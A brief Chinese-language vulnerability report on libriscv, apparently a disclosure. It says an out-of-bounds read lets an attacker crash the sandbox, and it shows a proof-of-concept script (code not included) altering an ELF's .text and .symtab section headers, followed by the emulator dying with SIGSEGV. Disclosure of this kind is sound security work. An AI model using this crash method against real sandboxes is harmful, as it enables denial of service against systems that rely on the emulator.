Libriscv 中存在一个漏洞,攻击者可以利用越界读取导致沙箱崩溃。
创建 Bad elf:
python3 poc.py samplefile poisoned_file
结果:
❯ python3 poc.py fib poisoned_file
Manipulating .text section header at offset 0x250
Manipulating .symtab section header at offset 0x710
❯ ./rvlinux poisoned_file
fish: Job 1, './rvlinux poisoned_file' terminated by signal SIGSEGV (Address boundary error)